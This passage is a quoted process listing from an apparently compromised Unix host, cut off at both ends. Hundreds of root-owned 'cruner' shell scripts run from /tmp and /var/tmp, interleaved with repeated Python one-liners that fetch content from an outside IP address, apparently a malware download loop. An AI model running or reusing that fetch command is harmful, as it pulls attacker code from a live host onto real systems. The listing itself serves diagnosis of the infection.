0:01 sh /tmp/cruner > root 7298 6243 0 15:45:49 ? 0:00 sh /tmp/cruner > root 13767 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6982 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26386 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25350 17191 0 15:45:39 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29274 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8252 23661 0 15:45:15 ? 0:00 sleep 60 > root 2628 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28479 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 616 23877 0 15:45:48 ? 0:00 sleep 60 > root 696 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13731 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21894 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2476 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16163 6084 0 15:46:00 ? 0:00 sleep 60 > root 20550 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 669 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9543 9041 0 - ? 0:00 <defunct> > root 8735 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 7308 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25980 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 23448 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10640 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29279 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7927 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19108 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 21959 2460 0 - ? 0:00 <defunct> > root 19220 4893 0 15:45:16 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17007 7868 0 15:45:42 ? 0:00 sleep 60 > root 6119 26887 0 15:43:09 ? 0:00 bash -sh > root 4907 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 21662 13576 0 15:46:01 ? 0:00 bash -sh > root 12163 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22569 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10538 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13655 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 311 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21945 6713 0 15:45:06 ? 0:00 bash -sh > root 15517 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27097 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 6001 5726 0 15:45:28 ? 0:00 sleep 60 > root 11318 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11250 10683 0 - ? 0:00 <defunct> > root 6339 16506 0 15:45:09 ? 0:00 sh /tmp/cruner > root 26004 10398 0 15:45:39 ? 0:00 bash -sh > root 15927 8298 0 15:45:11 ? 0:00 sh /tmp/cruner > root 16283 28249 0 15:45:22 ? 0:00 sleep 60 > root 18818 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4215 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 15080 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24583 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10762 15038 0 - ? 0:00 <defunct> > root 11721 21213 0 - ? 0:00 <defunct> > root 6931 28171 0 15:45:40 ? 0:00 /bin/ksh -p /bin/kill -9 > root 29343 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6596 20373 0 15:45:54 ? 0:00 sleep 60 > root 9218 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14065 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12485 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2954 20854 0 15:45:19 ? 0:00 sleep 60 > root 25998 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 21841 22984 0 15:44:48 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10186 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17433 25786 0 15:44:17 ? 0:00 bash -sh > root 28703 23891 0 15:42:59 ? 0:00 bash -sh > root 14041 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13519 15546 0 - ? 0:00 <defunct> > root 8350 21143 0 15:45:54 ? 0:00 bash -sh > root 1887 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10209 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29376 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9039 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 812 24767 0 15:45:27 ? 0:00 sleep 60 > root 13227 21767 0 15:44:30 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21940 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10737 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5754 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1378 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26990 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24359 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 29247 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 260 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6789 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10647 23173 0 - ? 0:00 <defunct> > root 28087 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28352 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26581 26522 0 15:44:09 ? 0:00 bash -sh > root 26816 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5480 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16059 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6973 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7368 20527 0 15:44:13 ? 0:00 bash -sh > root 6801 19147 0 15:45:58 ? 0:00 sleep 60 > root 19569 6507 0 15:45:51 ? 0:00 bash -sh > root 26203 16351 0 - ? 0:00 <defunct> > root 4946 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24453 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29883 1516 0 - ? 0:00 <defunct> > root 4296 11840 0 - ? 0:00 <defunct> > root 17709 23075 0 15:45:06 ? 0:00 sleep 60 > root 14102 16154 0 15:44:52 ? 0:00 bash -sh > root 9720 18030 0 15:45:59 ? 0:00 bash -sh > root 26900 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19017 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 6996 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5675 21325 0 - ? 0:00 <defunct> > root 8858 24067 0 - ? 0:00 <defunct> > root 13453 4589 0 - ? 0:00 <defunct> > root 27930 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13921 1898 0 - ? 0:00 <defunct> > root 6949 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20812 24743 0 15:43:13 ? 0:00 bash -sh > root 1291 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29177 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 27936 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11924 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29236 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12201 14024 0 - ? 0:00 <defunct> > root 15634 25770 0 - ? 0:00 <defunct> > root 1797 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23107 22769 0 - ? 0:00 <defunct> > root 10857 16867 0 15:45:15 ? 0:00 bash -sh > root 14908 3802 0 15:45:11 ? 0:00 bash -sh > root 2133 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28908 4684 0 15:45:14 ? 0:00 bash -sh > root 22559 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3190 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16095 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23424 26423 0 15:46:01 ? 0:00 bash -sh > root 6587 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11879 20578 0 - ? 0:00 <defunct> > root 25224 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1800 12870 0 15:45:39 ? 0:00 xargs kill -9 > root 16483 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9327 14401 0 - ? 0:00 <defunct> > root 1525 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23295 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10679 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 15809 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6419 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12793 19941 0 15:45:41 ? 0:00 xargs kill -9 > root 23833 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18789 18593 0 - ? 0:00 <defunct> > root 12372 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11383 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2223 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23486 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3532 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 15448 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23163 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25086 17842 0 15:45:43 ? 0:00 sleep 60 > root 10533 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 8208 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10751 10320 0 - ? 0:00 <defunct> > root 27960 5205 0 15:45:34 ? 0:00 sleep 60 > root 27305 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11048 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3258 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 12888 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24184 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 3408 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3914 27666 0 - ? 0:00 <defunct> > root 28392 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27105 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22322 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22430 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14543 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 23542 15039 0 - ? 0:00 <defunct> > root 6871 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26595 5412 0 15:45:53 ? 0:00 sh /var/tmp/cruner > root 15237 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 611 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16443 25277 0 15:45:42 ? 0:00 sh /tmp/cruner > root 4109 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26786 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19949 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6615 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 4359 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21605 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22631 25906 0 15:45:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6005 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10120 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5145 17969 0 - ? 0:00 <defunct> > root 27397 21741 0 15:46:02 ? 0:00 sleep 60 > root 1526 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9862 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15485 22290 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 1323 15254 0 15:45:58 ? 0:00 sleep 60 > root 8861 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26262 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11450 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6320 2281 0 - ? 0:00 <defunct> > root 10974 14814 0 15:43:43 ? 0:00 bash -sh > root 7364 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9435 18606 0 15:43:38 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12355 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29780 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20326 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8106 4090 0 - ? 0:00 <defunct> > root 4873 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2655 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27003 24674 0 15:45:57 ? 0:00 sleep 60 > root 7213 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24420 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3382 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1142 2394 0 15:45:27 ? 0:00 sleep 60 > root 19698 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26829 14130 0 15:45:43 ? 0:00 sleep 60 > root 16216 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29742 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 6944 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28749 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11452 12924 0 15:46:04 ? 0:00 bash -sh > root 13562 23790 0 15:45:59 ? 0:00 sleep 60 > root 3828 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17644 2766 0 15:45:56 ? 0:00 sleep 60 > root 29459 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18538 8078 0 - ? 0:00 <defunct> > root 27758 12790 0 15:42:25 ? 0:00 bash -sh > root 14496 21614 0 15:46:04 ? 0:00 bash -sh > root 6401 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3933 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4810 12851 0 - ? 0:00 <defunct> > root 2626 24632 0 15:44:50 ? 0:00 bash -sh > root 27863 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 29740 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21829 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18407 16588 0 15:44:17 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16170 8099 0 15:45:06 ? 0:00 sleep 60 > root 28701 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21732 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11100 29236 0 15:45:10 ? 0:00 sleep 60 > root 6426 28362 0 15:44:42 ? 0:00 bash -sh > root 10851 4593 0 - ? 0:00 <defunct> > root 28328 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21229 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9693 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26340 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22140 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 130 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23371 27419 0 15:45:52 ? 0:00 sleep 60 > root 9690 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8931 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4328 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16501 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8659 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25557 9232 0 15:45:57 ? 0:00 sleep 60 > root 26104 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23324 23321 0 15:45:30 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7974 19322 0 - ? 0:00 <defunct> > root 15718 22140 0 15:45:51 ? 0:00 bash -sh > root 24329 19733 0 15:44:20 ? 0:00 bash -sh > root 13717 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29501 7070 0 - ? 0:00 <defunct> > root 29890 10450 0 - ? 0:00 <defunct> > root 8091 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2627 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6252 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8460 29619 0 15:45:40 ? 0:00 sh /tmp/cruner > root 28129 28125 0 15:46:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7868 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4306 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22176 6092 0 - ? 0:00 <defunct> > root 14924 29915 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 4706 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11189 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23528 1579 0 15:45:13 ? 0:00 bash -sh > root 4458 21867 0 15:45:49 ? 0:00 bash -sh > root 10539 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25733 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1520 24452 0 15:45:27 ? 0:00 sleep 60 > root 25818 1 0 23:03:25 ? 0:00 sh /tmp/cruner > root 6541 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 14892 16738 0 - ? 0:00 <defunct> > root 13126 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29351 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14043 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26528 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 19064 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13684 15340 0 - ? 0:00 <defunct> > root 10019 28398 0 - ? 0:00 <defunct> > root 11580 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15297 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 11122 15043 0 15:43:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17220 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19733 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19876 26619 0 15:44:53 ? 0:00 bash -sh > root 643 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 22191 19647 0 15:45:47 ? 0:00 /bin/ksh -p /bin/kill -9 > root 24090 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5106 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10294 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1305 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 480 20581 0 - ? 0:00 <defunct> > root 21005 20985 0 15:46:00 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6610 6569 0 15:45:35 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1968 4261 0 15:45:27 ? 0:00 sleep 60 > root 21341 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26938 17226 0 - ? 0:00 <defunct> > root 12402 15388 0 - ? 0:00 <defunct> > root 24085 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5206 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 29083 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15171 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2346 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 5853 5805 0 15:43:25 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14959 983 0 - ? 0:00 <defunct> > root 15565 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3393 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22079 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25974 21510 0 15:46:01 ? 0:00 sleep 60 > root 8875 5104 0 15:45:15 ? 0:00 sleep 60 > root 888 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13980 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3697 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4376 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27750 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25136 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16982 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29040 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11750 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26390 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9373 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21575 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6678 13148 0 15:45:35 ? 0:00 sleep 60 > root 28798 24332 0 15:45:27 ? 0:00 bash -sh > root 5796 5723 0 15:45:49 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 745 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27929 6963 0 15:45:34 ? 0:00 sleep 60 > root 15540 21947 0 - ? 0:00 <defunct> > root 10534 3212 0 15:45:21 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20392 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11862 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 80 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27059 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4892 16413 0 15:45:24 ? 0:00 sleep 60 > root 12327 15914 0 15:45:11 ? 0:00 sleep 60 > root 12745 28161 0 15:45:05 ? 0:00 bash -sh > root 11256 21053 0 15:45:59 ? 0:00 xargs kill -9 > root 25077 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28176 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5743 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2116 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6122 4356 0 15:44:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2531 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27818 26793 0 15:45:43 ? 0:00 /bin/ksh -p /bin/kill -9 > root 1664 1317 0 15:44:11 ? 0:00 bash -sh > root 9948 9920 0 - ? 0:00 <defunct> > root 13928 6562 0 - ? 0:00 <defunct> > root 18737 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10150 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10240 10679 0 - ? 0:00 <defunct> > root 21065 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20689 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1579 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18673 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28144 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17150 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12273 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2219 28936 0 15:44:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13595 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21905 28756 0 15:45:17 ? 0:00 sleep 60 > root 19975 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29685 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16157 25362 0 15:45:16 ? 0:00 sleep 60 > root 7316 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12258 24443 0 - ? 0:00 <defunct> > root 13023 475 0 - ? 0:00 <defunct> > root 27352 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13225 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7143 13368 0 - ? 0:00 <defunct> > root 26493 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13281 22052 0 15:45:59 ? 0:00 sleep 60 > root 16815 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12923 4397 0 15:45:36 ? 0:00 bash -sh > root 4432 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21027 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12374 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 23108 10039 0 - ? 0:00 <defunct> > root 6570 21370 0 15:46:03 ? 0:00 bash -sh > root 26984 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29278 12703 0 15:45:18 ? 0:00 sleep 60 > root 141 1961 0 15:45:44 ? 0:00 bash -sh > root 23402 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24251 25220 0 15:43:29 ? 0:00 bash -sh > root 1901 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12353 11527 0 15:45:36 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21076 23847 0 15:43:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27428 24184 0 15:45:53 ? 0:00 sleep 60 > root 29816 5640 0 15:45:34 ? 0:00 sleep 60 > root 959 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1953 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23463 4832 0 15:44:08 ? 0:00 bash -sh > root 389 27408 0 15:45:48 ? 0:00 sleep 60 > root 1908 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13431 14512 0 - ? 0:00 <defunct> > root 10688 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16348 29912 0 15:44:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25079 794 0 15:45:52 ? 0:00 xargs kill -9 > root 17676 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14006 4811 0 15:44:57 ? 0:00 bash -sh > root 7080 17744 0 - ? 0:00 <defunct> > root 9613 9221 0 - ? 0:00 <defunct> > root 16209 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16578 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19156 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21317 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2831 25735 0 - ? 0:00 <defunct> > root 5281 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7874 9233 0 15:45:36 ? 0:00 xargs kill -9 > root 13485 8752 0 - ? 0:00 <defunct> > root 4310 28166 0 15:45:49 ? 0:00 sleep 60 > root 27046 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13309 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13138 6223 0 15:45:59 ? 0:00 sleep 60 > root 18770 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3717 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12033 20879 0 15:45:59 ? 0:00 bash -sh > root 14582 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25290 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18720 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27943 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14145 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 10141 4217 0 15:45:55 ? 0:00 sleep 60 > root 8051 25737 0 - ? 0:00 <defunct> > root 29199 17129 0 15:45:30 ? 0:00 sleep 60 > root 15188 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14971 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28286 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18859 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25709 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19325 5716 0 15:45:06 ? 0:00 sleep 60 > root 2536 23943 0 15:46:02 ? 0:00 bash -sh > root 23195 18501 0 15:45:52 ? 0:00 bash -sh > root 7531 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8880 27961 0 - ? 0:00 <defunct> > root 7088 18986 0 15:43:31 ? 0:00 bash -sh > root 2907 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 17083 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16788 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10690 10584 0 - ? 0:00 <defunct> > root 15394 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1272 8018 0 15:45:27 ? 0:00 sleep 60 > root 25791 12089 0 15:45:07 ? 0:00 bash -sh > root 24922 16277 0 - ? 0:00 <defunct> > root 4776 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25938 15261 0 15:45:07 ? 0:00 bash -sh > root 14096 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11735 5673 0 15:42:47 ? 0:00 bash -sh > root 6417 1 0 Oct 05 ? 0:01 sh 